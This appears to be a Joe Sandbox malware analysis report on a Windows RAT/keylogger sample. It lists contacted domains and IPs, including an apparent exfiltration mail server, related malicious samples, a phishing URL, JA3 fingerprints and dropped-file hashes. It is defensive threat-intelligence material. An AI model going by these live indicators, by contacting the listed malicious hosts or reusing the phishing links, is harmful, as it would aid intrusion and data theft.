Name	IP	Active	Malicious	Antivirus Detection	Reputation
erkanlarofis.com.tr	77.245.159.7	true	true	0%, Virustotal, Browse	unknown
reallyfreegeoip.org	188.114.97.3	true	true	0%, Virustotal, Browse	unknown
checkip.dyndns.com	158.101.44.242	true	false	0%, Virustotal, Browse	unknown
mail.erkanlarofis.com.tr	unknown	unknown	true	0%, Virustotal, Browse	unknown
checkip.dyndns.org	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.33	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://checkip.dyndns.orgp	SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B40000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.33p	SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B6D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://erkanlarofis.com.tr	SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002C93000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002C7D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CD0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CD8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CC1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CAD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CA2000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.33$	SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B17000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B24000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002AC7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B6D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B7B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/q	SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000000.00000002.2031188002.0000000003706000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3264630620.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://reallyfreegeoip.org	SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002A9D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B17000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B24000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B6D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B7B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org	SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B17000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B24000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002AC7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B6D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B7B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002A84000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mail.erkanlarofis.com.tr	SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002C93000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002C7D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CD0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CD8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CC1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CAD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CA2000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://checkip.dyndns.org	SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002A78000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B17000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B24000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B4D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002AC7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B6D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B7B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002A84000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.com	SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B17000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B24000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B6D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B7B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002A84000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000000.00000002.2030808556.00000000026A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.00000000029C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/	SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000000.00000002.2031188002.0000000003706000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3264630620.0000000000402000.00000040.00000400.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002A84000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
188.114.97.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
77.245.159.7	erkanlarofis.com.tr	Turkey	42868	NIOBEBILISIMHIZMETLERITR	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1482926
Start date and time:	2024-07-26 11:38:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/6@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 105 Number of non-executed functions: 13
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:38:57	API Interceptor	3856366x Sleep call for process: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe modified
05:38:59	API Interceptor	10x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	RFQ#51281AOLAI.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	tny.wtf/
	#U00d6DEME TAVS#U0130YES#U0130.xls	Get hash	malicious	Remcos	Browse	tny.wtf/4Gs
	Notepad3_v6.23.203.2.exe	Get hash	malicious	Amadey, GO Backdoor	Browse	downloaddining2.com/h9fmdW6/index.php
	Quotation.exe	Get hash	malicious	FormBook	Browse	www.bahisanaliz16.xyz/ty31/?nfuxZr=JoA2dMXfLBqFXt4x+LwNr+felGYfgJXJPNkjuKbt07zo6G2Rowrau43mkNbOTfffhSkjLsiciQ==&v6AxO=1bjHLvGh8ZYHMfZp
	LisectAVT_2403002B_412.exe	Get hash	malicious	FormBook	Browse	www.whatareyoucraving.com/drbb/
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	tny.wtf/pqv2p
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	tny.wtf/pqv2p
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	tny.wtf/pqv2p
	PO S0042328241130.xls	Get hash	malicious	Remcos	Browse	tny.wtf/vMCQY
	LisectAVT_2403002B_89.exe	Get hash	malicious	CobaltStrike	Browse	cccc.yiuyiu.xyz/config.ini
158.101.44.242	New order.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Torpernes.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	DSD876543456780000.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Confirmation transfer Note AGS # 22-00379.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	rPO0977-6745.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	z1QuotationSheetVSAA6656776.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	rcrypt.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	rRFQ_025261-97382.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.16578.20925.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.25886.26681.rtf	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	new order 00041221.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	New order.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	New Order.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Payment_Advice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	LPO-9180155-PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Apixaban - August 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	Payment Slip.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Torpernes.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	Confirmation Order.js	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	DSD876543456780000.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
checkip.dyndns.com	new order 00041221.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	New order.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	New Order.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Payment_Advice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	LPO-9180155-PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Apixaban - August 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	Payment Slip.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	Torpernes.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	Confirmation Order.js	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	DSD876543456780000.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	Unknown	Browse	104.21.72.79
	file.exe	Get hash	malicious	Unknown	Browse	104.21.72.79
	RFQ#51281AOLAI.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	188.114.96.3
	http://cognitoforms.com/Renato4/ManagementHasAddedYouToAWholeTeam	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://nasyiahgamping.com/_loader.html?send_id=eh&tvi2_RxT=cp.appriver.com%2Fservices%2Fspamlab%2Fhmr%2FPrepareHMRAccess.aspx%3Fex%3DCwl7OpqsAW8UXOjQpfNORMYziqeg%252fwcMKDuZuqPM%252b44%253d%26et%3DSCXX1gC0hGLFIJMBjJa%252bcPyzP9zDkcUvJzlJx8HAPYIwHybHJtlKKhvlY68%252fb09k%252bq%252fmbrOOqiV%252brsXviFPAevdalHsK83HP&url=aHR0cHM6Ly9maW5hbmNlcGhpbGUuY29tL3dwLWluY2x1ZGVzL2ltZy9kLnNhdXRpZXJAc2JtLm1j	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	https://forms.office.com/r/xULzprLcwH	Get hash	malicious	Unknown	Browse	104.18.94.41
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	SecuriteInfo.com.Trojan.PackedNET.738.1574.9831.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
ORACLE-BMC-31898US	new order 00041221.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	New order.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	http://docusign.net	Get hash	malicious	Unknown	Browse	192.29.14.118
	New Order.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Payment_Advice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	Apixaban - August 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	Payment Slip.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	Torpernes.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	Lisect_AVT_24003_G1B_67.exe	Get hash	malicious	Unknown	Browse	158.101.28.51
	DSD876543456780000.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
NIOBEBILISIMHIZMETLERITR	file.exe	Get hash	malicious	SystemBC	Browse	77.245.149.25
	#U0130#U015eLEM #U00d6ZET#U0130_G5024057699-1034 nolu TICARI.exe	Get hash	malicious	AgentTesla	Browse	77.245.148.100
	SKM_C3350i2402291223.bat.exe	Get hash	malicious	AgentTesla	Browse	77.245.148.65
	Overdue Account Notice.exe	Get hash	malicious	AgentTesla	Browse	77.245.159.10
	Product list.png.exe	Get hash	malicious	AgentTesla	Browse	77.245.159.10
	NEW PURCHASE ORDER.png.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	77.245.159.10
	1AIemYSAZy.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	77.245.149.43
	SecuriteInfo.com.Win32.TrojanX-gen.10323.31552.exe	Get hash	malicious	AgentTesla	Browse	77.245.159.10
	11_12_2023_D#U00f6nemi_MEVDUAT_Ekstre_Bilgiler.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	185.87.254.58
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	77.245.154.98

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	new order 00041221.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	New Order.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	LisectAVT_2403002B_361.exe	Get hash	malicious	Quasar	Browse	188.114.97.3
	SWIFT.exe	Get hash	malicious	Lokibot	Browse	188.114.97.3
	Payment_Advice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	LPO-9180155-PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Apixaban - August 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Payment Slip.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Torpernes.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Confirmation Order.js	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.3797706053345555
Encrypted:	false
SSDEEP:	48:fWSU4xymI4RW9oUP7gZ9tK8NPZHUk7u1iMuge//8PUyus:fLHxvII5LZ2KRHzOug8s
MD5:	921295ABE821F5314EA32FAE20AA20A8
SHA1:	E9C36E2346406C33708D1BD697C5E77CC314725F
SHA-256:	1408E4F33B496A19464F2CA826B7D935149E1163783CC03D898E0413F6DF7C42
SHA-512:	C94D7E07BE1D0C08A2AD76CE4BCCA1D092B8129E4167AD74FBFD4571596AF5E580985761E549DE0BB34958F8818C052F1A74E025A1F6F4BF87E47ACA4D6EE690
Malicious:	false
Reputation:	low
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_etzjvjg0.wmm.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jiyp3wbu.rth.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n2r2dr4j.nie.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oogphext.xhn.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
